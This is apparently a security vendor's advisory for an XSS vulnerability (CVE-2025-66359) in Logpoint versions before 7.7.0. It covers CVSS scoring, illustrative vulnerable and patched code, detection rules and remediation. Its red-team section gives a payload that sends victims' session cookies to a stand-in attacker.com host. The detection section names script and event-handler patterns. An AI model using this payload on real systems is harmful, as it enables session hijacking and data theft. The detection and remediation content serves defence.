CVE-2025-66359
Executive Summary
CVE-2025-66359 is a critical cross-site scripting (XSS) vulnerability affecting Logpoint versions prior to 7.7.0. The vulnerability stems from insufficient input validation and a lack of output escaping in multiple components of the Logpoint web interface. An attacker can exploit this flaw to inject arbitrary JavaScript code into the application, potentially leading to session hijacking, data theft, or further compromise of the Logpoint instance. The CVSS score of 8.5 reflects the high impact on confidentiality and integrity, with a low attack complexity and no privileges required, though user interaction is required. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): None – The attacker does not need any authentication.
- User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): High – Sensitive data, including session tokens and logs, can be exfiltrated.
- Integrity (I): High – The attacker can modify content or perform actions on behalf of the victim.
- Availability (A): None – No direct impact on availability.
Threat Level: High. Although no active exploitation has been observed, the ease of exploitation and potential for data theft make this a priority for patching.
Deep Dive & Mechanics
The vulnerability exists in multiple components of the Logpoint web interface, likely including search result displays, alert configurations, and user profile settings. The root cause is twofold:
- Insufficient Input Validation: User-supplied data (e.g., search queries, alert names, or profile fields) is not properly sanitized before being stored or processed.
- Lack of Output Escaping: When this data is later rendered in the web interface, it is not escaped for HTML context, allowing an attacker to inject arbitrary HTML and JavaScript.
For example, an attacker could craft a malicious search query containing <script>alert('XSS')</script>. If the Logpoint interface does not escape this input when displaying search results, the script will execute in the context of the victim's browser.
The vulnerability is classified as Stored XSS if the injected payload is persisted (e.g., in an alert name) and later viewed by other users, or Reflected XSS if the payload is only reflected in the immediate response. Given the description of "multiple components," both types may be present.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-7.7.0):
// Example: Displaying a user-provided search query without escaping
function displaySearchResult(query) {
document.getElementById('result').innerHTML = 'You searched for: ' + query;
}
Patched Code (7.7.0+):
// Example: Using textContent to safely display the query
function displaySearchResult(query) {
document.getElementById('result').textContent = 'You searched for: ' + query;
}
The patched version uses textContent instead of innerHTML, which automatically escapes HTML entities. Alternatively, proper output encoding functions (e.g., escapeHtml()) should be applied to all user-controlled data before rendering.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable Logpoint instance (version < 7.7.0) accessible over the network.
- A victim user who is logged into the Logpoint web interface.
Steps:
- Identify an input field that is vulnerable (e.g., search bar, alert name, or user profile field).
- Craft a payload that steals session cookies:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Submit the payload via the vulnerable input (e.g., as a search query).
- If the payload is stored, any user viewing the affected page will trigger the XSS. If reflected, send a crafted link to the victim.
- The victim's browser executes the script, sending their session cookie to the attacker's server.
Example URL for Reflected XSS:
https://logpoint.example.com/search?q=<script>alert('XSS')</script>
Blue Team (Defense & Detection)
Detection:
- Monitor web application logs for unusual input patterns, such as
<script>tags or event handlers (e.g.,onerror,onload). - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Immediately upgrade to Logpoint 7.7.0 or later.
- If patching is not possible, apply virtual patching via WAF rules.
- Conduct a code review to ensure all user inputs are validated and outputs are escaped.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
cookie=ordocument.cookiein the URL. - Suspicious query strings in Logpoint web requests containing
<script>,onerror, oronloadattributes.
- Outbound HTTP requests to attacker-controlled domains containing
- Host IOCs:
- Unexpected JavaScript files or scripts in the Logpoint web root directory.
- Modified configuration files (e.g.,
config.php) containing injected code.
- Log IOCs:
- Log entries with unusual characters or HTML tags in user input fields.
- Repeated failed login attempts followed by successful XSS payload submissions.
Detection Engineering
YARA Rule
rule CVE_2025_66359_XSS_Logpoint {
meta:
description = "Detects XSS payloads targeting Logpoint CVE-2025-66359"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66359"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of ($xss*)
}
Sigma Rule
title: Logpoint XSS Attempt Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks against Logpoint web interface (CVE-2025-66359)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in search queries (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-66359 Logpoint XSS Payload Detected";
flow:to_server,established;
content:"<script"; http_uri;
nocase;
sid:1000001;
rev:1;
reference:cve,2025-66359;
)
Remediation & Mitigation
- Immediate Action: Upgrade all Logpoint instances to version 7.7.0 or later. This is the only complete fix.
- Virtual Patching: If immediate upgrade is not possible, deploy WAF rules to block common XSS patterns (e.g.,
<script>,onerror,onload). - Input Validation: Implement strict server-side validation for all user inputs, rejecting or sanitizing any HTML or JavaScript content.
- Output Escaping: Ensure all user-controlled data is properly escaped for HTML context before rendering (e.g., using
textContentorescapeHtml()). - Content Security Policy (CSP): Add a CSP header to restrict script execution to trusted sources only.
- User Education: Train users to avoid clicking suspicious links and to report any unusual behavior in the Logpoint interface.
Valters IT
Securing Digital Frontiers